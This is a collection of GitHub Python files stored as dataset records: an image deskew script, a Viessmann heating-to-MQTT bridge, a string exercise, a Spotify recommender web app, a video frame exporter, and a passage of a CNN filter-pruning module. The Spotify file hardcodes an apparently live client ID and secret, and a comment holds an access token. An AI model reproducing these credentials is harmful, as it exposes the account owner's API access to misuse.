+{"seq_id":"21053290574","text":"import cv2\r\nimage = cv2.imread(r\"rotated.png\")\r\ngray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\r\notsu_thresh, thresh = cv2.threshold(gray, 0, 255, cv2.THRESH_BINARY_INV | cv2.THRESH_OTSU)\r\nkernel_size = 4\r\nksize=(kernel_size, kernel_size)\r\nkernel = cv2.getStructuringElement(cv2.MORPH_RECT, ksize)\r\nthresh_filtered = cv2.morphologyEx(thresh, cv2.MORPH_OPEN, kernel)\r\nnonZeroCoordinates = cv2.findNonZero(thresh_filtered)\r\nimageCopy = image.copy()\r\nfor pt in nonZeroCoordinates:\r\n    imageCopy = cv2.circle(imageCopy, (pt[0][0], pt[0][1]), 1, (255, 0, 0))\r\nbox = cv2.minAreaRect(nonZeroCoordinates)\r\nboxPts = cv2.boxPoints(box)\r\nfor i in range(4):\r\n    pt1 = (boxPts[i][0], boxPts[i][1])\r\n    pt2 = (boxPts[(i+1)%4][0], boxPts[(i+1)%4][1])\r\n    cv2.line(imageCopy, pt1, pt2, (0,255,0), 2, cv2.LINE_AA);\r\n\r\nangle = box[2]\r\nprint(angle)\r\nif(angle < -45):\r\n    angle = angle\r\nelse:\r\n    angle = angle -90\r\n\r\n\r\nh, w, c = image.shape\r\nscale = 1.\r\ncenter = (w/2., h/2.)\r\nM = cv2.getRotationMatrix2D(center, angle, scale)\r\nrotated = image.copy()\r\nrotated = cv2.warpAffine(image, M, (w, h), rotated, cv2.INTER_CUBIC, cv2.BORDER_REPLICATE )\r\ncv2.imshow('rot', rotated)\r\ncv2.waitKey()","repo_name":"J90-arch/OCR_Discite","sub_path":"extras/deskew/skew2.py","file_name":"skew2.py","file_ext":"py","file_size_in_byte":1172,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"33719760821","text":"#!/usr/bin/env python3.9\n\n# Testprogramm Viessmann Heizung V200KW1\n# verbunden über Optilink Kabel (USB)\n# Mark König, Nov. 2022\n\n\nimport serial\n# pip install pyserial\n\nimport paho.mqtt.client as mqtt\n# pip install paho-mqtt\n\nimport sys\nimport time\nimport json\nimport ssl\nimport os\n\nimport traceback\n\nDEBUG = True\n\nstateSaveMode = False\n\nMQTT_USER = 'fritz'\nMQTT_PASSWORD = '***'\nMQTT_SERVER = '192.168.178.156'\n\nrunForever = True\n\ntopic1 = \"homeassistant/sensor/vm-kesseltemperatur\"\npayload1 = {\"unique_id\": \"vm-kesseltemperatur\",\n               \"device_class\": \"temperature\",\n               \"name\": \"Kesseltemperatur\",\n               \"state_topic\": \"homeassistant/sensor/vm-kesseltemperatur/state\",\n               \"unit_of_measurement\": \"°C\",\n               \"icon\": \"mdi:heat-wave\",\n               \"value_template\": \"{{ value_json.temperature }}\" }\ntopic2 = \"homeassistant/sensor/vm-aussentemperatur\"\npayload2 = {\"unique_id\": \"vm-aussentemperatur\",\n               \"device_class\": \"temperature\",\n               \"name\": \"Aussentemperatur\",\n               \"state_topic\": \"homeassistant/sensor/vm-aussentemperatur/state\",\n               \"unit_of_measurement\": \"°C\",\n               \"icon\": \"mdi:thermometer\",\n               \"value_template\": \"{{ value_json.temperature }}\" }\ntopic3 = \"homeassistant/sensor/vm-brennerstarts\"\npayload3 = {\"unique_id\": \"vm-brennerstarts\",\n               \"name\": \"Brennerstarts\",\n               \"state_topic\": \"homeassistant/sensor/vm-brennerstarts/state\",\n               \"icon\": \"mdi:counter\",\n               \"value_template\": \"{{ value_json.counter }}\" }\ntopic4 = \"homeassistant/sensor/vm-pumpe_m1\"\npayload4 = {\"unique_id\": \"vm-pumpe_m1\",\n                \"name\": \"Pumpe M1\",\n                \"icon\": \"mdi:heat-pump-outline\",\n                \"state_topic\": \"homeassistant/sensor/vm-pumpe_m1/state\",\n                \"value_template\": \"{{ value_json.pump }}\" }\ntopic5 = \"homeassistant/sensor/vm-pumpe_speicher\"\npayload5 = {\"unique_id\": \"vm-pumpe_speicher\",\n                \"name\": \"Pumpe Speicher\",\n                \"icon\": \"mdi:heat-pump-outline\",\n                \"state_topic\": \"homeassistant/sensor/vm-pumpe_speicher/state\",\n                \"value_template\": \"{{ value_json.pump }}\" }\ntopic6 = \"homeassistant/sensor/vm-speichertemperatur\"\npayload6 = {\"unique_id\": \"vm-speichertemperatur\",\n               \"device_class\": \"temperature\",\n               \"name\": \"Speichertemperatur\",\n               \"state_topic\": \"homeassistant/sensor/vm-speichertemperatur/state\",\n               \"unit_of_measurement\": \"°C\",\n               \"icon\": \"mdi:heat-wave\",\n               \"value_template\": \"{{ value_json.temperature }}\" }\ntopic7 = \"homeassistant/sensor/vm-brennerstatus\"\npayload7 = {\"unique_id\": \"vm-brennerstatus\",\n               \"name\": \"Brennerstatus\",\n               \"state_topic\": \"homeassistant/sensor/vm-brennerstatus/state\",\n               \"icon\": \"mdi:state-machine\",\n               \"value_template\": \"{{ value_json.state }}\" }\ntopic8 = \"homeassistant/sensor/vm-datum_uhrzeit\"\npayload8 = {\"unique_id\": \"vm-datum_uhrzeit\",\n               \"name\": \"Systemzeit\",\n               \"state_topic\": \"homeassistant/sensor/vm-datum_uhrzeit/state\",\n               \"icon\": \"mdi:home-clock\",\n               \"value_template\": \"{{ value_json.clock }}\" }\ntopic9 = \"homeassistant/switch/vm-sparmodus\"\npayload9 = {\"unique_id\": \"vm-sparModus\",\n               \"name\": \"Sparmodus\",\n               \"state_topic\": \"homeassistant/switch/vm-sparmodus/state\",\n               \"command_topic\": \"homeassistant/switch/vm-sparmodus/set\",\n               \"icon\": \"mdi:toggle-switch-off-outline\",\n               \"value_template\": \"{{ value_json.state }}\" }\n\ndef log(msg):\n    if DEBUG:\n        print (msg)\n\ndef twos_complement(hexstr):\n\n    bits = 16\n\n    value = int(hexstr,bits)\n    if value & (1 << (bits-1)):\n        value -= 1 << bits\n    return value\n\n# ----------------------------------------------------------------------\n\n# callback for CONNACK response from the server.\ndef on_connect(client, userdata, flags, rc):\n    print(\"Connected with result code \"+str(rc))\n\n    client.subscribe(\"homeassistant/switch/vm-sparmodus/set/#\")\n\n# callback for received messages\ndef on_message(client, userdata, msg):\n\n    global stateSaveMode, topic9\n\n    print(msg.topic + \" \" + str(msg.payload))\n\n    stateSaveMode = not stateSaveMode\n\n    topic = topic9 + '/state'\n    if stateSaveMode:\n        dataW = { 'state': 'ON' }\n    else:\n        dataW = { 'state': 'OFF' }\n    client.publish(topic, json.dumps(dataW))\n\ndef on_disconnect(client, userdata, flags, rc):\n    print(\"Diconnected with result code \"+str(rc))\n\n# ----------------------------------------------------------------------\n\nmqc=mqtt.Client()\nmqc.username_pw_set(username=MQTT_USER,password=MQTT_PASSWORD)\nmqc.on_connect=on_connect\nmqc.on_disconnect=on_disconnect\nmqc.on_message=on_message\n\nmqc.disconnected =True\nmqc.connect(MQTT_SERVER,1883,60)\n\nmqc.loop_start()\n\n# init command\ncommand = b'\\x04'\n\n# this commands we want to send\ncmd=[\n    #b'\\xF7\\x00\\xF8\\x02',   #Typ\n    b'\\xF7\\x08\\x02\\x02',    # Kessel Temperatur\n    b'\\xF7\\x08\\x04\\x02',    # Speicher Temperatur\n    #b'\\xF7\\x08\\x00\\x02',    # Aussentemperatur\n    b'\\xF7\\x55\\x27\\x02',    # Aussentemperatur gedämpft\n    b'\\xF7\\x08\\x8A\\x04',    # Brennerstarts\n    b'\\xF7\\x08\\x8E\\x08',    # Systemzeit\n    #b'\\xF7\\x23\\x00\\x01',    # Frostschutz\n    #b'\\xF7\\x23\\x01\\x01',    # Betriebsart\n    b'\\xF4\\x23\\x02\\x01\\x00',   # Mode Sparen setzen /rücksetzen\n    b'\\xF7\\x23\\x02\\x01',    # Sparbetrieb\n    #b'\\xF7\\x23\\x03\\x01',    # Partybetrieb\n    #b'\\xF7\\x23\\x06\\x01',    # Solltemperatur\n    b'\\xF7\\x29\\x06\\x01',    # Pumpe Heizung\n    b'\\xF7\\x08\\x45\\x01',    # Pumpe Speicher\n    b'\\xF7\\x55\\x1E\\x01',    # Brennerstatus\n    b'\\xF7\\x75\\x79\\x01'     # Fehlercode\n\n    ]\n\n# counter\ncnt = 0;\n\ntry:\n\n    lastReceive = time.time()\n\n    # serial settings\n    ser = serial.Serial (\n            port='/dev/ttyUSB0',\n            #port='COM5',\n            baudrate=4800,\n            parity=serial.PARITY_EVEN,\n            stopbits=serial.STOPBITS_TWO,\n            bytesize=serial.EIGHTBITS,\n            #timeout = None\n            timeout=0.02\n        )\n\n    i = 0\n\n    while runForever:\n\n        # convert to hex string\n        try:\n            data = ser.readline().hex()\n        except:\n            data = []\n\n        if(len(data) > 0):\n\n            lastReceive = time.time()\n\n            i = i + 1\n            #log(str(i) + \" \" + data)\n\n            if(len(data) == 2):\n                if('05' in data):\n                    #request from heating\n                    pass\n                else:\n                    if(command.hex().startswith('f72300')):\n                        if(data.startswith('01')):\n                           log('Frostschutzwarnung: AN')\n                        else:\n                           log('Frostschutzwarnung: AUS')\n                    elif(command.hex().startswith('f72301')):\n                        if(data.startswith('00')):\n                            log('Betriebsart: WW')\n                        elif(data.startswith('03')):\n                            log('Betriebsart: H+WW')\n                        elif(data.startswith('05')):\n                            log('Betriebsart: Abschaltbetrieb')\n                        else:\n                            log('Betriebsart: ' + str(data))\n                    elif(command.hex().startswith('f72302')):\n                        if(data.startswith('01')):\n                            log('Sparbetrieb: AN')\n                            stateSaveMode = True\n                        else:\n                            log('Sparbetrieb: AUS')\n                            stateSaveMode = False\n\n                            topic = topic9 + '/config'\n                            dataW = payload9\n                            mqc.publish(topic, json.dumps(dataW))\n\n                            topic = topic9 + '/state'\n                            if stateSaveMode:\n                                dataW = { 'state': 'ON' }\n                            else:\n                                dataW = { 'state': 'OFF' }\n                            mqc.publish(topic, json.dumps(dataW))\n                    elif(command.hex().startswith('f72303')):\n                        if(data.startswith('01')):\n                           log('Partybetrieb: AN')\n                        else:\n                           log('Partybetrieb: AUS')\n                    elif(command.hex().startswith('f72306')):\n                       log('Soll Temperatur: ' + str(int(data,16)))\n                    elif(command.hex().startswith('f72906')):\n\n                       topic = topic4 + '/config'\n                       dataW = payload4\n                       mqc.publish(topic, json.dumps(dataW))\n\n                       topic = topic4 + '/state'\n\n                       if(data.startswith('01')):\n                           log('Pumpe A1M1: AN')\n                           dataW = { 'pump':    'ON'}\n                           mqc.publish(topic, json.dumps(dataW))\n                       else:\n                           log('Pumpe A1M1: AUS')\n                           dataW = { 'pump':    'OFF'}\n                           mqc.publish(topic, json.dumps(dataW))\n\n                    elif(command.hex().startswith('f70845')):\n\n                       topic = topic5 + '/config'\n                       dataW = payload5\n                       mqc.publish(topic, json.dumps(dataW))\n\n                       topic = topic5 + '/state'\n\n                       if(data.startswith('01')):\n                           log('Pumpe Speicher: AN')\n                           dataW = { 'pump':    'ON'}\n                           mqc.publish(topic, json.dumps(dataW))\n                       else:\n                           log('Pumpe Speicher: AUS')\n                           dataW = { 'pump':    'OFF'}\n                           mqc.publish(topic, json.dumps(dataW))\n\n                    elif(command.hex().startswith('f7551e')):\n\n                       topic = topic7 + '/config'\n                       dataW = payload7\n                       mqc.publish(topic, json.dumps(dataW))\n\n                       topic = topic7 + '/state'\n                       dataW = { 'state':    '??'}\n\n                       if(data.startswith('00')):\n                           log('Brenner: AUS')\n                           dataW = { 'state':    'AUS'}\n                       elif (data.startswith('01')):\n                           log('Brenner: Stufe 1')\n                           dataW = { 'state':    'Stufe 1'}\n                       elif(data.startswith('02')):\n                           log('Brenner: Stufe2')\n                           dataW = { 'state':    'Stufe 2'}\n                       mqc.publish(topic, json.dumps(dataW))\n                    elif(command.hex().startswith('f77579')):\n                       log('Störung: ' + str(data))\n                    else:\n                       log('Recv. command: ' + command.hex())\n\n            if(len(data) == 4):\n               hex_str = data[2:] + data[:2]\n\n               #res = int(hex_str,16) /10\n               res = twos_complement(hex_str) / 10\n\n               if(command.hex().startswith('f7')):\n                   if(command.hex().startswith('f700f8')):\n                       print (\"------------------------\")\n                       print ('Typ: ' + data + ' (V200KW1) ')\n                   elif(command.hex().startswith('f70802')):\n                       log('Kessel: ' + str(res))\n\n                       topic = topic1 + '/config'\n                       data = payload1\n                       mqc.publish(topic, json.dumps(data))\n\n                       topic = topic1 + '/state'\n                       data = { 'temperature': str(res) }\n                       mqc.publish(topic, json.dumps(data))\n\n                   elif(command.hex().startswith('f70804')):\n                       log('Speicher: ' + str(res))\n\n                       topic = topic6 + '/config'\n                       data = payload6\n                       mqc.publish(topic, json.dumps(data))\n\n                       topic = topic6 + '/state'\n                       data = { 'temperature': str(res) }\n                       mqc.publish(topic, json.dumps(data))\n                   elif(command.hex().startswith('f70800')):\n                       log('Aussentemperatur: ' + str(res))\n\n                       topic = topic2 + '/config'\n                       data = payload2\n                       mqc.publish(topic, json.dumps(data))\n\n                       topic = topic2 + '/state'\n                       data = { 'temperature': str(res) }\n                       mqc.publish(topic, json.dumps(data))\n                   elif(command.hex().startswith('f75527')):\n                       log('Aussentemperatur (gedämpft): ' + str(res))\n\n                       topic = topic2 + '/config'\n                       data = payload2\n                       mqc.publish(topic, json.dumps(data))\n\n                       topic = topic2 + '/state'\n                       data = { 'temperature': str(res) }\n                       mqc.publish(topic, json.dumps(data))\n                   else:\n                       log(str(i) + \" \" + data)\n            if(len(data) == 8):\n                hex_str = data[6:] + data[4:6] + data[2:4] + data[0:2]\n\n                if(command.hex().startswith('f7088a')):\n                   log('Brennerstarts: ' + str(int(hex_str,16)))\n\n                   topic = topic3 + '/config'\n                   data = payload3\n                   mqc.publish(topic, json.dumps(data))\n\n                   topic = topic3 + '/state'\n                   data = { 'counter': str(int(hex_str,16)) }\n                   mqc.publish(topic, json.dumps(data))\n\n            if(len(data) == 16):\n\n                dateTime = data[6:8] + '.' + data[4:6] + '.' + data[0:4] + ' ' + data[10:12] + ':' + data[12:14]\n\n                log('Datum/Zeit: ' + dateTime)\n\n                topic = topic8 + '/config'\n                dataW = payload8\n                mqc.publish(topic, json.dumps(dataW))\n\n                topic = topic8 + '/state'\n\n                dataW = { 'clock':    dateTime }\n                mqc.publish(topic, json.dumps(dataW))\n\n            if ('05' in data) and (len(data) == 2):\n\n                # send ACK\n                command = b'\\x01' #ACK\n                ser.write(command)\n\n                # next command to send\n                cnt = cnt + 1\n                if cnt == len(cmd):\n                    cnt = 0\n\n                if cmd[cnt][0] == 244:\n\n                    log(\"Send save\")\n                    if stateSaveMode:\n                        cmd[cnt] = b'\\xF4\\x23\\x02\\x01\\x01'\n                    else:\n                        cmd[cnt] = b'\\xF4\\x23\\x02\\x01\\x00'\n\n                # send command\n                command = cmd[cnt]\n                ser.write(command)\n                #log(\"Send \" + command.hex())\n        else:\n            wait = time.time() - lastReceive\n\n            if wait > 30:\n                log('Reboot')\n                time.sleep(1000)\n\n                runForever = False\n                mqc.loop_stop()\n\nexcept:\n    log(traceback.format_exc())\n    log (\"Exception - exit\")\n\nprint (\"end\")\ntime.sleep(1000)\n","repo_name":"mking2203/ViessmannV200KW1","sub_path":"heizung.py","file_name":"heizung.py","file_ext":"py","file_size_in_byte":15211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"33198901412","text":"class Solution:\n    def longestCommonPrefix(self, strs: list[str]) -> str:\n        returnStr = \"\"\n        k = len(strs[0])\n        smallStr = strs[0]\n        for x in range(len(strs)):\n            if len(strs[x]) < k:\n                k = len(strs[x])\n                smallStr = strs[x]\n        \n        for y in range(k):\n            for element in strs:\n                if element[y] == smallStr[y]:\n                    append = True\n                else:\n                    return returnStr\n                \n            if append == True:\n                returnStr = returnStr + element[y]\n\n#A quick test\nobj = Solution()\ntestStrs = [\"flower\", \"flow\", \"flight\"]\nprint(obj.longestCommonPrefix(testStrs))\ntestStrs2 = [\"dog\", \"racecar\", \"car\"]\nprint(obj.longestCommonPrefix(testStrs2))\n","repo_name":"aarun41/Longest-Common-Prefix","sub_path":"LongestCommonPrefix.py","file_name":"LongestCommonPrefix.py","file_ext":"py","file_size_in_byte":786,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"5664416391","text":"import random\nimport base64\nfrom bottle import Bottle, run, static_file, request, template, redirect\nimport json\nimport requests, spotipy\nfrom spotipy.oauth2 import SpotifyClientCredentials\nfrom spotipy import Spotify, SpotifyOAuth, oauth2\n\napp = Bottle()\n\nSPOTIPY_CLIENT_ID = '3441111ba643438aa09f7aa0d8680561'\nSPOTIPY_CLIENT_SECRET = '80967271ad8b4fc19f8e6274bd93eb2e'\nSPOTIPY_REDIRECT_URI = 'http://localhost:8888/callback'\nSCOPE = 'user-library-read'\nCACHE = '.spotipyoauthcache'\n\n\n\n# Method to display webpages\n@app.route('/')\ndef main():\n    return static_file('index.html', root='view/main')\n\n#ROUTES\n@app.route(\"/css/<filename>\")\ndef css(filename):\n    return static_file(filename, root=\"views/audio/src/css\")\n\n@app.route(\"/js/<filename>\")\ndef js(filename):\n    return static_file(filename, root=\"views/audio/src/js\")\n\n@app.route('/generate')\ndef generateToken():\n    redirect(\n        'https://accounts.spotify.com/authorize?response_type=code&client_id=3441111ba643438aa09f7aa0d8680561&redirect_uri=http://localhost:8888/callback&scope=user-top-read')\n\n\ndef getAcessToken(code):\n    query = {'grant_type': 'authorization_code', 'code': code, 'redirect_uri': \"http://localhost:8888/callback\"}\n    sample_string = SPOTIPY_CLIENT_ID + \":\" + SPOTIPY_CLIENT_SECRET\n    sample_string_bytes = sample_string.encode(\"ascii\")\n\n    my_headers = {'Authorization': 'Basic ' + base64.b64encode(sample_string_bytes).decode(\"ascii\"),\n                  'Content-Type': 'application/x-www-form-urlencoded'}\n    response = requests.post(\"https://accounts.spotify.com/api/token\", params=query, headers=my_headers)\n    print(response.json())\n    return response.json()['access_token']\n\n\n# not use\ndef refreshAcessToken(code):\n    query = {'grant_type': 'authorization_code', 'code': code, 'redirect_uri': SPOTIPY_REDIRECT_URI}\n    sample_string = SPOTIPY_CLIENT_ID + \":\" + SPOTIPY_CLIENT_SECRET\n    sample_string_bytes = sample_string.encode(\"ascii\")\n\n    my_headers = {'Authorization': 'Basic ' + str(base64.b64encode(sample_string_bytes)),\n                  'Content-Type': 'application/x-www-form-urlencoded'}\n    response = requests.get(\"https://accounts.spotify.com/api/token\", params=query, headers=my_headers)\n    print(response.json())\n    return response.json()['access_token']\n\n\n@app.route('/callback')\ndef callback():\n    # where it is generated\n    print(request.query['code'])\n    token = getAcessToken(request.query['code'])\n    print(token)\n    sp = spotipy.Spotify(auth=token)\n    print(sp.current_user())\n    list_rec_tracks = generateListRecommendedTracks(sp)\n\n    for tracks in list_rec_tracks:\n        print(str(tracks)+'\\n\\n')\n    # sp = spotipy.Spotify(\n    #     auth=\"BQB8RKRLGERXt5JGLqP8obvIeB-aFYUHBDvMLz9FbjodwSXcz8DO7rRrM_rnS8mjByfHI4nlksGuTzm3-msEGnXyzXo5zrwtMeXShAbxBXG54QHVxueW44kr0ITNtSD4rQfQ1QYkRxrwQeDPy_rpDkZj7evuAL6ea6hYc-1K1pG0\")\n    # print(sp.current_user_top_artists())\n    return listArtistUser(list_rec_tracks)\n\n@app.route('/result')\n@app.route('/result/search/<name>')\ndef listArtistUser(tracks):\n\n    return template('result', tracks=tracks)\n\n@app.route('/search', method='POST')\ndef searchUser():\n    userId = request.forms.get('userID')\n\n    try:\n        output = spotify.user(userId)\n        print(output)\n        return listArtistUser(output)\n    except:\n        output = {'display_name': ''}\n        return listArtistUser(output)\n\ndef generateListRecommendedTracks(spotify):\n    listUserTopArtist = getTopArtists(spotify)\n    # Gets a set of all the artists related to the top artists\n    setRelatedArtists = getRelatedArtists(listUserTopArtist, spotify)\n\n    # Filters the list of related artists by removing elements that are in the user's top artists\n    listRelatedArtists = []\n    for rel_art in setRelatedArtists:\n        if rel_art not in listUserTopArtist:\n            listRelatedArtists.append(rel_art)\n\n    # Get tracks from the related artists\n    list_tracks_rel_artists = getTracksFromArtists(listRelatedArtists, spotify)\n\n    list_chosen_tracks = []\n    size_tracks_rel_artists = len(list_tracks_rel_artists)\n    # If the amount of tracks is less or equal to 50, then it returns the list as is\n    if size_tracks_rel_artists <= 50:\n        list_chosen_tracks = list_tracks_rel_artists\n    # Otherwise, it chooses 50 different tracks from the big list of artists\n    else:\n        randomTracksIndices = random.sample(range(0, size_tracks_rel_artists), 50)\n        for index in randomTracksIndices:\n            list_chosen_tracks.append(list_tracks_rel_artists[index])\n    return list_chosen_tracks\n\n\n# Gets the top 50 artists from a user\ndef getTopArtists(spotify):\n    # Get access to the user's top artists\n    results = spotify.current_user_top_artists(limit=50, offset=0, time_range='medium_term')\n    topArtists = results['items']\n    # Generate list of top artists\n    top_artists_id = []\n    for x in top_artists_id:\n        top_artists_id.append(x)\n    return topArtists\n\n\n# Getting a set of related artists\ndef getRelatedArtists(list_artists, spotify):\n    # initialize set\n    set_related_artists = []\n    # For each artist, find the top 3 related artists\n    for artist in list_artists:\n        # Get access to an artist's related artists\n        artist_URI = 'spotify:artist:' + artist['id']\n        results = spotify.artist_related_artists(artist_URI)\n        artistRelatedArtists = results['artists']\n\n        # Chooses the top 3 related artists and insert them in this list\n        set_related_artists.append(artistRelatedArtists[0])\n        set_related_artists.append(artistRelatedArtists[1])\n        set_related_artists.append(artistRelatedArtists[2])\n    return set_related_artists\n\n\n# Chooses 3 random tracks from each of the artist in the passed list\ndef getTracksFromArtists(list_artists, spotify):\n    # initializing the list\n    listTracks = []\n    for artist in list_artists:\n        # Get request to the artist's top tracks\n        artist_URI = 'spotify:artist:' + artist['id']\n        results = spotify.artist_top_tracks(artist_URI)\n        artist_tracks = results['tracks']\n\n        # Chooses three different tracks randomnly and put it in listTracks\n        sizeTracks = len(artist_tracks)\n        randomTracksIndices = random.sample(range(0, sizeTracks), 3)\n        listTracks.append(artist_tracks[randomTracksIndices[0]])\n        listTracks.append(artist_tracks[randomTracksIndices[1]])\n        listTracks.append(artist_tracks[randomTracksIndices[2]])\n    return listTracks\n\n\n@app.route('/related-artists')\ndef listrelatedArtists(artist_id):\n    # my_headers = {'Authorization': 'BQDHOpu3aJsb9XrUjVIkd58e6SYYx5ip5mSMSFrGVagG-AalLsu5bd7PF8h0oXlfWwhTgRY6ZFHodPsuQsbxUNLTLtcf2C-Z_W14RWcJfgR7ifmJBlvQqLGhDaO6Y7hKlz2YXpiCKD746IyqcNJZ8zNwwU9ZMlbcvX0'}\n    # response = requests.get(\"https://api.spotify.com/v1/artists/id/related-artists\",headers=my_headers)\n    # output = response.json()\n    # print(response)\n    # print(output)\n    # if 'error' not in output:\n    #     return output\n    # elif output['error']['status'] == 400 :\n    #     return \"Error No related artists found found\"\n\n    # Access to\n    artist_uri = 'spotify:artist:' + artist_id\n    spotify = spotipy.Spotify(client_credentials_manager=SpotifyClientCredentials())\n    # Gets the list of related artists\n    results = spotify.artist_related_artists(artist_uri)\n    rel_artists = results['artists']\n\n    for rel_art in rel_artists:\n        # top track file for each artists\n        rel_art_URI = 'spotify:artist:' + rel_art['id']\n        topTracksFile = spotify.artist_top_tracks(rel_art_URI)\n        topTracks = topTracksFile['tracks']\n\n        print(rel_art['name'])\n        sizeTopTracks = len(topTracks)\n        # track1Number = random.randint(0,sizeTopTracks-2)\n        # track2Number = random.randint(0,sizeTopTracks-2)\n        # track3Number = random.randint(0,sizeTopTracks-2)\n        # print(topTracks[track1Number]['name'], \",\", topTracks[track2Number]['name'], \",\", topTracks[track3Number]['name'], \"\\n\")\n        randomTracks = random.sample(range(0, sizeTopTracks), 3)\n        print(topTracks[randomTracks[0]]['name'], \";\", topTracks[randomTracks[1]]['name'], \";\",\n              topTracks[randomTracks[2]]['name'], \"\\n\")\n\n\nrun(app, host='localhost', port=8888, reloader=True)\n","repo_name":"OlivierRunwolf/spotifyRec","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8235,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"41134051709","text":"import sys\nfrom cv2 import cv2\nimport configparser\n\ndef extractImages():\n    try:\n        config = configparser.ConfigParser()\n        config.read('config.ini')\n        vidcap = cv2.VideoCapture(config['DEFAULT']['Video'])\n        length = int(vidcap.get(cv2.CAP_PROP_FRAME_COUNT))\n        if length==0:\n            raise Exception('video path is not valid')\n        fps = 30\n        frames = int(config['DEFAULT']['Frames'])\n        if frames > length:\n            print(str(frames) + ' frames is more than the amount of frames in video (' + str(length) + '). This amount will be used.')\n            frames = length\n        incrementTime = fps* length/frames\n        success,image = vidcap.read()\n        success = True\n        count = 0\n        currentTime = incrementTime\n        print(\"Generating... \")\n        while success:\n          vidcap.set(cv2.CAP_PROP_POS_MSEC,(currentTime))    # added this line\n          success,image = vidcap.read()\n          if success:\n              cv2.imwrite( config['DEFAULT']['PathOut'] + \"\\\\frame%d.jpg\" % count, image)     # save frame as JPEG file\n              count = count + 1\n              currentTime = currentTime+incrementTime\n        print(str(count) + ' frames generated')\n    except Exception as inst:\n        print(inst)\n          \nextractImages()\n\ninput('Press enter to continue... ')\n","repo_name":"wserr/ExportFramesFromVideo","sub_path":"ExportFrames.py","file_name":"ExportFrames.py","file_ext":"py","file_size_in_byte":1340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"72032553287","text":"'''\nThis file contains functions to compute filters' \nimportance for each convolutional layer.\n\nIt also contains the code necessary to save filters \nimportance index under npy format (one file per convolutional layers).\n'''\n\nimport numpy as np\nimport torch\nfrom torch.nn.functional import normalize\nimport os\n\nfrom model_classes import *\nfrom geometric_median import *\n\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\nprint(\"Current device:\", device)\n\n\n###############################################################\n#                  TO BE MODIFIED BY USER\n# Choose the model for which you want to score filters\n# as well as the scoring method to use \n###############################################################\n\n# Choice of model\nSCORE_VGG_MNIST=False\nSCORE_VGG_CIFAR=True\nSCORE_RESNET=False\n\n# Choice of scoring method\nSCORING_NAME = \"operator_norm\" # among \"operator_norm\", \"l1_norm\" and \"GM_norm\"\n\n##############################################################\n\n#               I -  FILTER SCORING FUNCTIONS\n\n##############################################################\n\n##############################################################\n# 1) Operator norm pruning \n# Scoring method proposed by the article (cf algorithm 1 p.5)\n##############################################################\n\ndef operator_norm_filter_scoring(K_l):\n    '''\n    Input:\n    K_l: Kernel tensor coming from a network's l-th layer. \n    It has dimension (n_l x n_lm1 x k x k), with n_l the number of channels of the l-th layer,\n    n_lm1 the number of channels of the (l-1)-th layer, and k x k the dimension of each filter. \n    \n    Output:\n    score_norm: normalized importance score of the input filters according to the operator norm\n    (cf article's algorithm 1 p.5)\n    '''\n    with torch.no_grad(): \n        # let us change the dimension of the filters to match the article's algorithm 1 p.5\n        K_v_l =  torch.permute(K_l, (1, 0, 2, 3)).flatten(2) # K_v_l has dimension (n_lm1 x n_l x k^2)\n\n        # initialization\n        C_l, Score = [], torch.empty(K_v_l.shape[1])\n\n        for c in range(len(K_v_l)): # loop over the n_lm1 channels\n            V_c = K_v_l[c,:,:]\n            U, S, VT = torch.linalg.svd(V_c) # The singular values are returned in descending order\n            u1=U[:,0].unsqueeze(1) # first column\n            w1_T = VT[0,:].unsqueeze(0) # first column of a transposed matrix is the first row\n            C_l.append( normalize( (u1@w1_T)[0,:], p=2.0, dim = 0) ) # normalize with p=2 is similar to dividing by l2 norm\n\n        C_l= torch.stack(C_l).T # we transform this list of tensors into a tensor\n        \n        for j in range(K_v_l.shape[1]): # loop over the n_l channels\n            F_l_j = K_v_l[:,j,:] # Take j-th filter\n            Score[j] =  torch.trace(F_l_j@C_l).item()  #Compute importance of j-th filter (in their code they use a mean value not mentioned in the algorithm)\n\n        # importance normalization \n        Score_norm = Score**2/Score.max()\n    \n    return Score_norm\n\n#################################################################\n# 2) Entry-wise l1 norm pruning (Li et al. (2017)) \n# First passive filter methods used for comparison by the authors\n#################################################################\n\ndef entry_l1_norm_scoring(K_l):\n    '''\n    Input:\n    K_l: Kernel tensor coming from a network's l-th layer. \n    \n    Output:\n    score_norm: normalized importance score of the filters according to their entry-wise l1 norm \n    from the origin (cf Li et al. (2017), as mentionned in our reference article)\n    '''\n    with torch.no_grad(): \n        # initialization\n        Score = torch.empty(K_l.shape[0])\n       \n        for j in range(K_l.shape[0]): # loop over the n_l channels\n            entry_l1_norm = K_l[j,:,:,:].flatten()\n            Score[j] =  torch.sum(torch.abs(entry_l1_norm)).item()  #Compute importance of j-th filter\n\n        # importance normalization \n        max_score = Score.max().item()\n        Score_norm = Score/max_score\n    \n    return Score_norm\n\n############################################################################\n# 3) Entry-wise l2 norm from geometric median (GM) pruning (He et al. (2019))\n# Second passive filter methods used for comparison by the authors\n############################################################################\n\ndef entry_GM_scoring(K_l, device=device):\n    '''\n    Input:\n    K_l: Kernel tensor coming from a network's l-th layer. \n    device: device on which the input K_l is defined (cpu / cuda)\n    \n    Output:\n    score_norm: normalized importance score of the filters according to their entry-wise l2 norm \n    from the geometric median (cf He et al. (2019), as mentionned in our reference article)\n    '''\n    with torch.no_grad(): \n        # initialization\n        Score = torch.empty(K_l.shape[0])\n\n        # the function geometric_median needs to have an array of points as argument\n        filters = np.array([K_l[j,:,:,:].flatten().to(\"cpu\").detach().numpy() for j in range(K_l.shape[0])])\n        GM=torch.from_numpy(geometric_median(filters)).to(device)\n\n        for j in range(K_l.shape[0]): # loop over the n_l channels\n            Score[j] = (torch.linalg.norm(K_l[j,:,:,:].flatten()-GM)).item()   #Compute importance of j-th filter\n\n        # importance normalization \n        max_score = Score.max().item()\n        Score_norm = Score/max_score\n    \n    return Score_norm\n\n\n##################################################################\n\n#               II - SAVING FILTERS IMPORTANCE 